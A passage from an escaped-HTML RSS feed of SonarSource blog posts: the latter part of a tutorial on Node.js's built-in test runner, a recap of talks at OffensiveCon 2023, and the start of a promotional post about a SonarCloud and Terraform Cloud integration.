shows as a passing test already.&lt;/p&gt;&lt;h3&gt;Basic tests&lt;/h3&gt;&lt;p&gt;Open the two files you created in your editor. In &lt;code&gt;stack.test.mjs&lt;/code&gt; import the &lt;code&gt;test&lt;/code&gt; function from &lt;code&gt;node:test&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { test } from &quot;node:test&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;node:test&lt;/code&gt; is the standard library module that you can import and use to create tests within your test file. Note that you must use &lt;code&gt;node:test&lt;/code&gt; and not just &lt;code&gt;test&lt;/code&gt; here as you can do with other standard library modules. &lt;code&gt;test&lt;/code&gt; refers to the &lt;a href=&quot;https://www.npmjs.com/package/test&quot;&gt;npm package &lt;code&gt;test&lt;/code&gt;&lt;/a&gt; which is a userland port of &lt;code&gt;node:test&lt;/code&gt; that works all the way back to Node version 14.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;test&lt;/code&gt; function allows us to name specific tests, as well as create groups of subtests. Pass a name and a function to &lt;code&gt;test&lt;/code&gt; and if the function completes without throwing an error then it is deemed a pass. Write the following in your test file:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { test } from &quot;node:test&quot;;

test(&quot;will pass&quot;, () =&gt; {
  console.log(&quot;hello world&quot;);
});

test(&quot;will fail&quot;, () =&gt; {
  throw new Error(&quot;fail&quot;);
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Run the tests with &lt;code&gt;node --test&lt;/code&gt; and you will see one pass and one fail.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1340ead4-cf02-41b4-a1b2-0ef94bfdc4eb/first-test.png&quot; /&gt;&lt;p&gt;Manually throwing errors is not the most expressive or efficient way to write tests. Thankfully Node has an &lt;a href=&quot;https://nodejs.org/api/assert.html&quot;&gt;assertion module&lt;/a&gt; which we can use. When an assertion from &lt;code&gt;node:assert&lt;/code&gt; fails it throws an &lt;a href=&quot;https://nodejs.org/api/assert.html#class-assertassertionerror&quot;&gt;&lt;code&gt;AssertionError&lt;/code&gt;&lt;/a&gt; which works well with the test runner.&lt;/p&gt;&lt;h3&gt;Using assert&lt;/h3&gt;&lt;p&gt;The assertion module comes with two modes, strict and legacy. The legacy mode uses the &lt;code&gt;==&lt;/code&gt; operator in equality assertions but &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-1440&quot;&gt;&lt;code&gt;==&lt;/code&gt; is not recommended&lt;/a&gt;. I would encourage using strict mode.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can rewrite the above tests with &lt;code&gt;node:assert&lt;/code&gt; like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { test } from &quot;node:test&quot;;
import assert from &quot;node:assert/strict&quot;;

test(&quot;will pass&quot;, () =&gt; {
  assert.ok(&quot;hello world&quot;);
});

test(&quot;will fail&quot;, () =&gt; {
  assert.fail(&quot;fail&quot;);
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Run &lt;code&gt;node --test&lt;/code&gt; now and you will see one failure with more information than the plain &lt;code&gt;Error&lt;/code&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e75cfb36-43ba-4e4d-a9fb-753c655b6c15/node-test-with-assert.png&quot; /&gt;&lt;p&gt;Assert has a bunch of useful assertions, including asserting that:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;objects are equal with &lt;a href=&quot;https://nodejs.org/api/assert.html#assertequalactual-expected-message&quot;&gt;&lt;code&gt;equal&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;an object is truthy with &lt;a href=&quot;https://nodejs.org/api/assert.html#assertokvalue-message&quot;&gt;&lt;code&gt;ok&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;a function &lt;a href=&quot;https://nodejs.org/api/assert.html#assertthrowsfn-error-message&quot;&gt;&lt;code&gt;throws&lt;/code&gt;&lt;/a&gt; or a promise &lt;a href=&quot;https://nodejs.org/api/assert.html#assertrejectsasyncfn-error-message&quot;&gt;&lt;code&gt;rejects&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;and my favourite, that non-primitive objects are equal with &lt;a href=&quot;https://nodejs.org/api/assert.html#assertdeepequalactual-expected-message&quot;&gt;&lt;code&gt;deepEqual&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Skipping tests&lt;/h3&gt;&lt;p&gt;The &lt;code&gt;test&lt;/code&gt; function takes an object as an optional parameter. You can use this to skip tests or only run certain tests.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;test(&quot;will pass&quot;, { only: true }, () =&gt; {
  assert.ok(&quot;hello world&quot;);
});

test(&quot;will fail&quot;, { skip: true }, () =&gt; {
  assert.fail(&quot;fail&quot;);
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can always skip a test. However the &lt;code&gt;only&lt;/code&gt; option only takes precedence when you run the test suite with the &lt;code&gt;--test-only&lt;/code&gt; flag. There is also a &lt;code&gt;todo&lt;/code&gt; option, which still runs the test but tags it as a &amp;quot;todo&amp;quot; test to reporters. There is also a shortcut for these options, where you can call &lt;code&gt;test.skip&lt;/code&gt;, &lt;code&gt;test.only&lt;/code&gt;, or &lt;code&gt;test.todo&lt;/code&gt; for the same result.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On the command line, using the &lt;code&gt;--test-name-pattern&lt;/code&gt; will let you pass a string to match test names. Only test names that match will be run. So the following command will only run the test called &amp;quot;will pass&amp;quot;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;node --test --test-name-pattern &quot;will pass&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Other options include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;timeout&lt;/code&gt;, which fails the test if it doesn&amp;#x27;t complete within the time set&lt;/li&gt;&lt;li&gt;&lt;code&gt;concurrency&lt;/code&gt;, by default tests are run one at a time&lt;/li&gt;&lt;li&gt;&lt;code&gt;signal&lt;/code&gt;, which is an &lt;code&gt;AbortSignal&lt;/code&gt; that you can pass to tests to cancel them mid-process&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The last two seem more useful for building a test framework on top of the test runner than for users.&lt;/p&gt;&lt;h3&gt;Subtests&lt;/h3&gt;&lt;p&gt;With just the &lt;code&gt;test&lt;/code&gt; function you can also group tests into subtests. Let&amp;#x27;s explore this as we actually start to build up tests for our stack implementation. When making subtests, your root test function should receive a test context parameter. You must call &lt;code&gt;test&lt;/code&gt; on the context object to add subtests. As the &lt;code&gt;test&lt;/code&gt; function returns a promise you will need to &lt;code&gt;await&lt;/code&gt; each of the tests. If the root test completes before the subtests it will mark any unfinished tests as failures.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;test(&quot;a new stack&quot;, async (context) =&gt; {
  const stack = new Stack();

  await context.test(&quot;is empty&quot;, () =&gt; {
    assert.equal(stack.size(), 0);
  });

  await context.test(&quot;is not empty after push&quot;, () =&gt; {
    stack.push(&quot;item&quot;);
    assert.equal(stack.size(), 1);
  });
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These tests will fail because we haven&amp;#x27;t yet defined a &lt;code&gt;Stack&lt;/code&gt;. Let&amp;#x27;s add the minimum required to make these pass. In &lt;code&gt;stack.mjs&lt;/code&gt; add:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export default class Stack {
  constructor() {
    this.items = [];
  }

  size() {
    return this.items.length;
  }

  push(item) {
    this.items.push(item);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then import the class at the top of &lt;code&gt;stack.test.mjs&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { test } from &quot;node:test&quot;;
import assert from &quot;node:assert/strict&quot;;
import Stack from &quot;./stack.mjs&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Run the tests and they now pass.&lt;/p&gt;&lt;h3&gt;Test hooks&lt;/h3&gt;&lt;p&gt;Let&amp;#x27;s add another test to see what happens when we pop an item off an empty stack.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  await context.test(&quot;is not empty after push&quot;, () =&gt; {
    stack.push(&quot;item&quot;);
    assert.equal(stack.size(), 1);
  });

  await context.test(&quot;pop returns undefined for an empty stack&quot;, () =&gt; {
    assert.equal(stack.pop(), undefined);
  });
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Running the tests will fail because we haven&amp;#x27;t defined a &lt;code&gt;pop&lt;/code&gt; method on the stack yet. Add that to the &lt;code&gt;Stack&lt;/code&gt; class.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export default class Stack {
  constructor() {
    this.items = [];
  }

  size() {
    return this.items.length;
  }

  push(item) {
    this.items.push(item);
  }

  pop() {
    return this.items.pop();
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Running the tests now will also fail. The issue is that we are leaking some data between tests. The &lt;code&gt;stack&lt;/code&gt; object inside the root test has an item added in &lt;code&gt;push&lt;/code&gt; test which is being returned when we call &lt;code&gt;pop&lt;/code&gt; in the test we just wrote. Rather than define the &lt;code&gt;stack&lt;/code&gt; object once we should redefine it every time to make sure it is in the state we expect. The test runner provides hooks for running behaviour like this before and after tests. In this case, we can use the &lt;a href=&quot;https://nodejs.org/api/test.html#beforeeachfn-options&quot;&gt;&lt;code&gt;beforeEach&lt;/code&gt;&lt;/a&gt; hook to define a fresh stack object for each of our tests.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;test(&quot;a new stack&quot;, async (context) =&gt; {
  let stack;

  context.beforeEach(() =&gt; {
    stack = new Stack();
  });&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now all the tests pass. There are hooks for &lt;a href=&quot;https://nodejs.org/api/test.html#beforefn-options&quot;&gt;&lt;code&gt;before&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://nodejs.org/api/test.html#afterfn-options&quot;&gt;&lt;code&gt;after&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://nodejs.org/api/test.html#aftereachfn-options&quot;&gt;&lt;code&gt;afterEach&lt;/code&gt;&lt;/a&gt; for all the tests in a group too.&lt;/p&gt;&lt;h3&gt;Test syntax&lt;/h3&gt;&lt;p&gt;I&amp;#x27;m personally not a fan of &lt;code&gt;test&lt;/code&gt; as the function name, I like my syntax to be a bit more expressive. The test runner also makes available &lt;a href=&quot;https://nodejs.org/api/test.html#describeit-syntax&quot;&gt;&lt;code&gt;describe&lt;/code&gt;/&lt;code&gt;it&lt;/code&gt; syntax&lt;/a&gt;. &lt;code&gt;describe&lt;/code&gt; sets up a suite of tests and &lt;code&gt;it&lt;/code&gt; is an alias for &lt;code&gt;test&lt;/code&gt;. When using &lt;code&gt;describe&lt;/code&gt; you don&amp;#x27;t need to &lt;code&gt;await&lt;/code&gt; tests and there&amp;#x27;s no need to use a suite context, you can import hooks like &lt;code&gt;beforeEach&lt;/code&gt; and use them within the suite.&lt;/p&gt;&lt;p&gt;We can rewrite out &lt;code&gt;Stack&lt;/code&gt; tests with &lt;code&gt;describe&lt;/code&gt;/&lt;code&gt;it&lt;/code&gt; syntax like so:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { describe, it, beforeEach } from &quot;node:test&quot;;
import assert from &quot;node:assert/strict&quot;;
import Stack from &quot;./stack.mjs&quot;;

describe(&quot;a new stack&quot;, () =&gt; {
  let stack;

  beforeEach(() =&gt; {
    stack = new Stack();
  });

  it(&quot;is empty&quot;, () =&gt; {
    assert.equal(stack.size(), 0);
  });

  it(&quot;is not empty after push&quot;, () =&gt; {
    stack.push(&quot;item&quot;);
    assert.equal(stack.size(), 1);
  });

  it(&quot;pop returns undefined for an empty stack&quot;, () =&gt; {
    assert.equal(stack.pop(), undefined);
  });
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can have multiple suites per test file and nest suites within each other. We can add more tests like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { describe, it, beforeEach } from &quot;node:test&quot;;
import assert from &quot;node:assert/strict&quot;;
import Stack from &quot;./stack.mjs&quot;;

describe(&quot;Stack&quot;, () =&gt; {
  let stack;

  describe(&quot;a new stack&quot;, () =&gt; {
    beforeEach(() =&gt; {
      stack = new Stack();
    });

    it(&quot;is empty&quot;, () =&gt; {
      assert.equal(stack.size(), 0);
    });

    it(&quot;is not empty after push&quot;, () =&gt; {
      stack.push(&quot;item&quot;);
      assert.equal(stack.size(), 1);
    });

    it(&quot;pop returns undefined for an empty stack&quot;, () =&gt; {
      assert.equal(stack.pop(), undefined);
    });
  });

  describe(&quot;with existing items&quot;, () =&gt; {
    beforeEach(() =&gt; {
      stack = new Stack();
      stack.push(&quot;first&quot;);
      stack.push(&quot;second&quot;);
      stack.push(&quot;third&quot;);
    });

    it(&quot;returns the size of the stack&quot;, () =&gt; {
      assert.equal(stack.size(), 3);
    });

    it(&quot;returns the last item when popping&quot;, () =&gt; {
      assert.equal(stack.pop(), &quot;third&quot;);
    });
  });
});&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Test reporters&lt;/h3&gt;&lt;p&gt;When you run the above test you&amp;#x27;ll get output that looks like this by default.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8c645da7-638f-44ac-b849-08e11d2fa21b/node-test-runner-spec.png&quot; /&gt;&lt;p&gt;The &lt;code&gt;describe&lt;/code&gt; suites indent their subtests and things are very readable. This is the default test reporter spec. There are two other built-in reporters, tap and dot. Tap reports using the &lt;a href=&quot;https://testanything.org/&quot;&gt;Test Anything Protocol&lt;/a&gt;, which I find a bit more wordy than spec. The dot reporter is very simple and produces a &lt;code&gt;.&lt;/code&gt; for a passing test and a &lt;code&gt;X&lt;/code&gt; for each failing test.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/818b6b98-1cdb-44c0-926f-88effcc015b3/node-test-runner-dot.png&quot; /&gt;&lt;p&gt;You can choose your reporter by passing a &lt;code&gt;--test-reporter&lt;/code&gt; flag, you can pass &lt;a href=&quot;https://nodejs.org/api/test.html#multiple-reporters&quot;&gt;multiple reporters as well as file destinations for them&lt;/a&gt;, and you can write your own test reporters too. &lt;a href=&quot;https://www.nearform.com/blog/writing-a-node-js-test-reporter/&quot;&gt;Rômulo Vitoi at Nearform wrote a great post on writing custom test reporters&lt;/a&gt; as well as some examples, like this &lt;a href=&quot;https://github.com/nearform/node-test-github-reporter&quot;&gt;GitHub reporter&lt;/a&gt; which annotates test failures directly in a GitHub pull request.&lt;/p&gt;&lt;h2&gt;There&amp;#x27;s more to come&lt;/h2&gt;&lt;p&gt;This has been an overview covering the basics of working with &lt;a href=&quot;https://nodejs.org/api/test.html&quot;&gt;Node&amp;#x27;s test runner&lt;/a&gt;. Everything we wrote above was dependency free testing that you can use in your Node.js applications today, as long as you depend on Node 20.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But that&amp;#x27;s not all the test runner offers. There is also a built-in &lt;a href=&quot;https://nodejs.org/api/test.html#class-mocktracker&quot;&gt;mocking functionality&lt;/a&gt; and experimental &lt;a href=&quot;https://nodejs.org/api/test.html#watch-mode&quot;&gt;watch mode&lt;/a&gt; and &lt;a href=&quot;https://nodejs.org/api/test.html#collecting-code-coverage&quot;&gt;test coverage collection&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For small projects, I&amp;#x27;ve found that the test runner and assert modules have provided everything I need to write test suites. Ensuring that your code is well tested is an important part of writing clean code and having the tools built into the platform makes it easier to get setup and writing tests from the very start.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I&amp;#x27;m excited to see how this develops further. If you&amp;#x27;re starting a new project soon, I&amp;#x27;d suggest giving the test runner a try to see how it works for you. Let me know what you think about it &lt;a href=&quot;https://twitter.com/philnash&quot;&gt;on Twitter&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Reflections from OffensiveCon 2023]]></title><description><![CDATA[Our Vulnerability Researchers are just returning from their trip to Berlin where they attended OffensiveCon 2023! Here's what they loved about the event.]]></description><link>https://www.sonarsource.com/blog/reflections-from-offensivecon-2023</link><guid isPermaLink="false">1ce09c7e-91b5-5339-937f-92c6b1d1f8a0</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Wed, 24 May 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Our Vulnerability Researchers are just returning from their trip to Berlin where they attended OffensiveCon 2023! With about 450 attendees, OffensiveCon is broadly recognized as one of the biggest offensive security conferences, and the audience comes from all over the world to enjoy its in-depth technical content. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;OffensiveCon is not only about Clean Code or code security. It covers a broader range of IT security topics, such as advances in security mitigations, the exploitation of security issues in hardened environments, and insights into vulnerability research trends. This is a great opportunity for our researchers to peek into broader application security problems, understand state-of-the-art attack techniques, and take home new ideas and inspiration that can foster new innovations in our domain.&lt;/p&gt;&lt;h2&gt;Sonar was a Diversity Sponsor&lt;/h2&gt;&lt;p&gt;For the first time, Sonar sponsored OffensiveCon for their Diversity Equity and Inclusion program. This program is established with &lt;a href=&quot;https://twitter.com/OPCDE&quot;&gt;OPCDE&lt;/a&gt;, &lt;a href=&quot;https://www.shehackske.com/&quot;&gt;She Hack KE&lt;/a&gt;, and &lt;a href=&quot;https://www.wisporg.com/&quot;&gt;Women in Security and Privacy&lt;/a&gt; to give full access to OffensiveCon to hackers who wouldn&amp;#x27;t usually be able to join. This includes the flights, accommodation, ticket, and access to training offered by the trainers themselves. Blue Frost Security also matches the sponsor&amp;#x27;s contributions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is an important step to bring more diversity to this community, more perspectives, and break down the barriers around technical security. We are happy that other conferences like &lt;a href=&quot;https://www.sonarsource.com/blog/bits-from-hexacon-2022/&quot;&gt;Hexacon&lt;/a&gt; are joining this effort, and it aligns very well with our culture at SonarSource.&lt;/p&gt;&lt;h2&gt;Our Favorite Talks at OffensiveCon 2023&lt;/h2&gt;&lt;p&gt;It is challenging for us to summarize how qualitative the talks were in a few lines. We encourage curious readers to keep an eye on the &lt;a href=&quot;https://www.youtube.com/@OffensiveCon/videos&quot;&gt;OffensiveCon YouTube channel&lt;/a&gt; and watch the recorded talks; they are usually released about three months after the event. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Among our favorite presentations, we were delighted with &lt;em&gt;ASN.1 and Done: A Journey of Exploiting ASN.1 Parsers in the Baseband&lt;/em&gt; by Amat Cama (Principal Security Research at Vigilant Labs). He went back on his journey to identify vulnerabilities in the baseband (i.e., cell network stack) used by some iPhones and other mobile devices for &lt;a href=&quot;https://www.sonarsource.com/blog/sonar-at-pwn2own-toronto-2022/&quot;&gt;Pwn2Own&lt;/a&gt;. While the vulnerability was simple to exploit due to the general lack of security mitigation on these constrained systems, the competition forced Amat to approach it by looking at the most complex features first–those more likely to hide security bugs.  We&amp;#x27;ve been seeing an increasing interest in baseband research in the past months (publications by Google Project Zero, training by Amat Cama, and now Pedro Ribeiro), and it&amp;#x27;s interesting to see that shallow bugs are still around. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then, Martijn Bogaard (Principal Security Analyst at Riscure) presented &lt;em&gt;New Phones, Software &amp;amp; Chips = New Bugs?,&lt;/em&gt; research that went on for over eight months, where he took Google’s flagship phone, Pixel, and studied the intricacies of the Trusted Execution Environment (TEE) of the phone. Two vulnerabilities allowed Martijn to access the TEE, whose role is to protect sensitive data such as biometrics from being accessed through unintended means. This research goes into impressive depths to exploit the vulnerabilities and give a glimpse into Martijn&amp;#x27;s expertise.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On the second day, Yarden Shafir (Senior Security Engineer at Trail of Bits) came back on Windows security features in &lt;em&gt;Your Mitigations are My Opportunities&lt;/em&gt;. For instance, we dived into the Windows implementation of Intel&amp;#x27;s Control-flow Enforcement Technology (CET) and the potential attack vectors that it introduces. We&amp;#x27;ve also seen how Protected Process Light (PPL), designed to isolate important processes like anti-malware from the rest of the system, still left the door open to some attacks.  &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d79cee7f-4677-46cd-9e49-edf7b9dca599/PXL_20230519_081705441.MP.jpg&quot; /&gt;&lt;p&gt;Then we had a peek into &lt;em&gt;Advancements in JavaScript Engine Fuzzing&lt;/em&gt; with Samuel Gross and Carl Smith, both working in Google&amp;#x27;s V8 Security Team at Google. V8 is the JavaScript engine used by Google Chrome, and their security team employs fuzzing to identify potential security vulnerabilities in their software. Over the last few years, a considerable effort was made to develop &lt;a href=&quot;https://github.com/googleprojectzero/fuzzilli&quot;&gt;Fuzzilli&lt;/a&gt; and introduce ways to diverge from the usual coverage-based fuzzing methods and obtain more diverse results. This was a 30-minute presentation, thus more concise than most other talks. However, the delivery was excellent and gave interesting insights into the security processes behind a project at a scale that only a handful of companies will ever have.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we loved how Thomas Roth, an independent Security Researcher also known as &lt;em&gt;stacksmashing&lt;/em&gt;, approached his research on Apple&amp;#x27;s lightning cables. Contrary to what one would think, these cables embed some circuitry and communicate with the devices they are connected to. Thomas studied these messages to understand how features are negotiated and created an open-source firmware to simulate these exchanges – the &lt;a href=&quot;https://github.com/stacksmashing/tamarin-firmware&quot;&gt;Tamarin Cable&lt;/a&gt;. It allowed him to simplify operations that are very useful for security research, like obtaining debugging logs through JTAG or programmatically restarting the attached device. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also want to give a shout-out to the two keynotes, &lt;em&gt;Information Security Is an Ecology of Horrors and You Are the Solution&lt;/em&gt; by Dave Aitel, founder of Immunity Inc., and &lt;em&gt;Changing and Unchanged Things in Vulnerability Research&lt;/em&gt; by Hao Xu, known for his work on iOS and macOS with Team Pangu. &lt;/p&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;And Everything Else! &lt;/h2&gt;&lt;p&gt;OffensiveCon&amp;#x27;s reputation also comes from its battle-tested organization, parties, and warm atmosphere. We had fascinating discussions with other participants and enjoyed every moment of the event; many thanks to everybody involved!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In summary, we are seeing a trend that code vulnerabilities persist but often require an increasing level of sophistication from attackers to successfully exploit them. Modern security mitigations are designed against very specific exploitation methods but that shouldn&amp;#x27;t be considered enough; with powerful enough vulnerabilities, creative attackers are still likely to get around, so code security and mitigation have to work hand-in-hand. The bar is higher, but the cat-and-mouse game continues! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We are now looking forward to seeing you at our next confirmed events, where we&amp;#x27;ll be presenting the fruits of our security research:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://typhooncon.com/blog/conitems/a-pwn2own-adventure/&quot;&gt;TyphoonCon, June 14-15 in Seoul&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://troopers.de/troopers23/talks/7gxdkf/&quot;&gt;TROOPERS, June 26-30 in Heidelberg&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://WeAreDevelopers Word Congress, July 27-28 in Berlin&quot;&gt;WeAreDevelopers Word Congress, July 27-28 in Berlin&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;And many more to come; we hope to see you there!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/bits-from-hexacon-2022/&quot;&gt;Bits from Hexacon 2022&lt;em&gt; &lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/reflections-from-devnexus-the-largest-java-conference-in-the-u-s-a/&quot;&gt;Reflections from DevNexus, the largest Java conference in the U.S.A. &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sonar and HashiCorp Partner to Deliver Clean Terraform Code & Good Vibes]]></title><description><![CDATA[Learn about the Sonar - HashiCorp partnership and the SonarCloud Terraform Cloud integration.]]></description><link>https://www.sonarsource.com/blog/sonar-and-hashicorp-partner-to-deliver-clean-terraform-code-good-vibes</link><guid isPermaLink="false">244c16da-f339-5f1c-86c0-a5ee93f37b36</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Tue, 23 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Development teams must balance security and compliance constraints with rapid code deployments. Cloud native technologies introduce many new attack planes and vulnerabilities that traditional security practices struggle to address. Pre-deployment, monolithic scans can take hours only to return a hopelessly long list of issues littered with false positives.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To address these challenges, Sonar and HashiCorp have joined forces to provide DevOps teams with self-service tools that automate code quality checks and simplify the code revision process. HashiCorp provides infrastructure automation software for multi-cloud environments. As a new member of HashiCorp’s Partner Network, Sonar built a tight integration with Terraform Cloud to ensure clean code delivery.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://registry.terraform.io/browse/run-tasks?category=code-quality&quot;&gt;SonarCloud Run Task integration&lt;/a&gt; automatically analyzes pull requests and decorates the TFC pipeline with a Sonar Quality Gate. If it’s green, merge with confidence. A red gate is a blocker and clearly lets you know there are some issues to fix.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The SonarCloud Run Task integration incorporates the &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Sonar Clean as You Code&lt;/a&gt; methodology to ensure DevOps teams catch issues with their HCL sooner rather than later. The Clean as You Code approach enables developers and organizations to optimize the quality of their codebase by focusing on code that&amp;#x27;s added or changed. This simple yet powerful methodology progressively improves the overall quality of the entire codebase with minimal cost and effort. When teams dedicate less time to addressing old issues or reworking newly created issues, they can accelerate new features, avoid unnecessary rework costs, and foster talent growth and retention.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/90c94fcb-13b9-4c6b-98ca-e0a4a697902a/TFC%20Failed%20QG.png&quot; /&gt;&lt;p&gt;Failed Sonar Quality Gate in SonarCloud Run Task&lt;/p&gt;&lt;p&gt;This integration brings a lot of benefits to individual developers and their teams so they can consistently deliver clean Terraform projects. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Merge Clean Code&lt;/h3&gt;&lt;p&gt;SonarCloud can automatically analyze pull requests and return a Pass/Fail Sonar Quality Gate. It provides you with a clear indicator letting you instantly know if your code is safe to merge. Green means go ahead!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Practice Proactive Security&lt;/h3&gt;&lt;p&gt;SonarCloud embodies the Clean as You Code methodology enabling your team to truly shift vulnerability detection to the left without workflow disruption or DevOps re-tooling. With developers helping to shoulder the vulnerability detection workload, valuable DevSecOps staff is now freed to focus on other, underserved security-challenged areas of the business.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Experiment &amp;amp; Grow &lt;/h3&gt;&lt;p&gt;It takes time to learn new technologies, especially security best practices. This shouldn’t stop you from exploring and learning about Terraform. On the contrary, with Sonar in your corner, you can really dive in knowing that SonarCloud is a tireless mentor that loves to help you learn from your mistakes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In addition to keeping your Terraform code clean, SonarCloud supports more than 30 popular and classic languages, frameworks and technologies. SonarCloud is the only tool you need to keep your cloud native infrastructure and applications free from vulnerabilities and code quality issues.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since its launch in 2018, SonarCloud has helped clean over 2.5 billion lines of code. Over 100,000 users rely on SonarCloud to ensure they only merge Clean Code into their projects. SonarCloud is free to use on open-source projects. To learn more about SonarCloud, visit here.&lt;/p&gt;&lt;h3&gt;Clean Terraform Code for the Win!&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Join the Clean Code movement, be intentional with the quality of your Terraform code and take pride in delivering cloud native apps in a safe, sustainable way. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thanks for reading and happy, clean, cloud native coding!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Pick a topic to discover more:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a 